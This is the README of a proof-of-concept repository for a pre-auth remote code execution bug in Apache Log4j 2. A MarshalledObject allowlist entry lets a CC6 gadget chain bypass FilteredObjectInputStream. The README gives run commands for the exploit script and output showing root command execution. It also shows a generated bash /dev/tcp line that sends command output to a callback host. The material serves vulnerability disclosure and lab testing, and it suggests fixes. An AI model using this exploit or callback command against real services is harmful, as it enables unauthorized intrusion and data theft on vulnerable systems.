
Pre-auth RCE via FilteredObjectInputStream MarshalledObject bypass in Apache Log4j 2
Pre-auth RCE on any Java service that deserializes LogEvent through Log4j's FilteredObjectInputStream. No credentials needed.
Reported as GitHub issue #4255 on August 24, 2026.
Log4j ships FilteredObjectInputStream (FOIS) as a safe deserialization wrapper. It overrides resolveClass() with an allowlist so only org.apache.logging.log4j.*, java.lang.*, java.util.*, and a few explicit classes can pass through.
One of those explicit classes is java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- the problem
...);
MarshalledObject.get() creates a new, plain ObjectInputStream internally. No filter. Anything wrapped inside a MarshalledObject deserializes with zero restrictions, completely bypassing the allowlist.
Log4j itself does this wrapping. LogEventProxy (the serialization proxy for every LogEvent) stores the event message in a MarshalledObject<Message> field. On deserialization, it calls marshalledMessage.get() to recover the message. That call creates the unfiltered stream. Game over.
The filter only sees top-level class descriptors in the stream:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS checks LogEventProxy (log4j package, allowed), MarshalledObject (in the allowlist), and byte[] (primitive). All pass. The CC6 gadget chain is hidden inside MarshalledObject.objBytes as raw bytes. FOIS never sees it.
When LogEventProxy.readResolve() runs:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // unfiltered ObjectInputStream
} catch (final Exception ex) {
// ignore me
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() creates a plain ObjectInputStream, the CC6 chain triggers, and the command executes. The catch block swallows the ClassCastException when the gadget result isn't a Message, so the server responds normally. No error, no log entry.
For comparison, ObjectMessage does it correctly:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // creates a FILTERED inner stream
}
LogEventProxy should use this same pattern but doesn't.
Attacker Target (FOIS-based receiver)
| |
| HTTP POST /log |
| Body: serialized LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j package
| ├── resolveClass(MarshalledObject) ✓ allowlist
| └── resolveClass(byte[]) ✓ primitive
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) NO FILTER
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
The server responds 200 and processes the event as if nothing happened.
The trick is getting the CC6 chain inside MarshalledObject.objBytes without it triggering early.
GadgetMessage implements Message and overrides writeReplace() to return the CC6 gadget:
Log4jLogEvent with GadgetMessage as its message.LogEventProxy.writeObject() calls marshall(message), which feeds GadgetMessage into the MarshalledObject constructor.GadgetMessage. writeReplace() fires and substitutes the CC6 HashSet.MarshalledObject.objBytes contains the CC6 chain. GadgetMessage never appears on the wire.GadgetMessage is attacker-side only. It doesn't need to be on the target classpath.
| Component | Vulnerable |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 to 2.24.3 |
log4j-core (LogEventProxy MarshalledObject field) | 2.8.0 to 2.24.3 |
Target also needs a gadget library on the classpath. This PoC uses Commons Collections 3.2.1 (CC6 chain).
Requirements: Java 11+, Maven, Python 3.10+, Docker (victim lab only)
Build and start the victim:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Build the exploit (or let poc.py do it on first run):
cd exploit && mvn package -q -DskipTests && cd ..
Run:
# --lhost is your IP reachable from the target
# for Docker lab on the same host, use the docker0 bridge IP
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Output:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Custom callback port:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package in exploit/ to compile PayloadGenerator and pull dependencies. Skips on subsequent runs.java -cp exploit/target/... PayloadGenerator <cmd> on the host. Outputs a base64 serialized LogEvent with CC6 inside a MarshalledObject.--lport (default 9999) to receive command output./log endpoint./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # exploit script
├── exploit/ # attacker (runs on host)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message with writeReplace()
└── lab/ # victim (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # HTTP endpoint using FOIS
lab/ is the victim. HttpLogReceiver is an HTTP log receiver using FilteredObjectInputStream. Default config, no debug flags, no artificial weaknesses. Commons Collections on the classpath as a realistic transitive dependency.
exploit/ is the attacker tooling. PayloadGenerator builds the serialized payload on the host. Never touches the victim container.
java.rmi.MarshalledObject from REQUIRED_JAVA_CLASSES.MarshalledObject<Message> field in LogEventProxy with a byte[] serialized via SerializationUtil.writeWrappedObject() / readWrappedObject(). That's the same pattern ObjectMessage already uses correctly.CC 3.2.1 and earlier: InvokerTransformer serializes freely. CC6 works as-is.
CC 3.2.2 (Nov 2015): Added a serialization guard in InvokerTransformer that blocks the chain unless org.apache.commons.collections.enableUnsafeSerialization is true.
The filter bypass exists regardless of CC version. CC's guard is defense-in-depth at the gadget layer, not a fix for the broken filter. Any other unguarded gadget library (Groovy, BeanShell, Spring Beans, etc.) enables the same attack.
docker rm -f fois-lab
docker rmi fois-bypass-lab
For authorized testing only. Get written permission before running this against anything you don't own.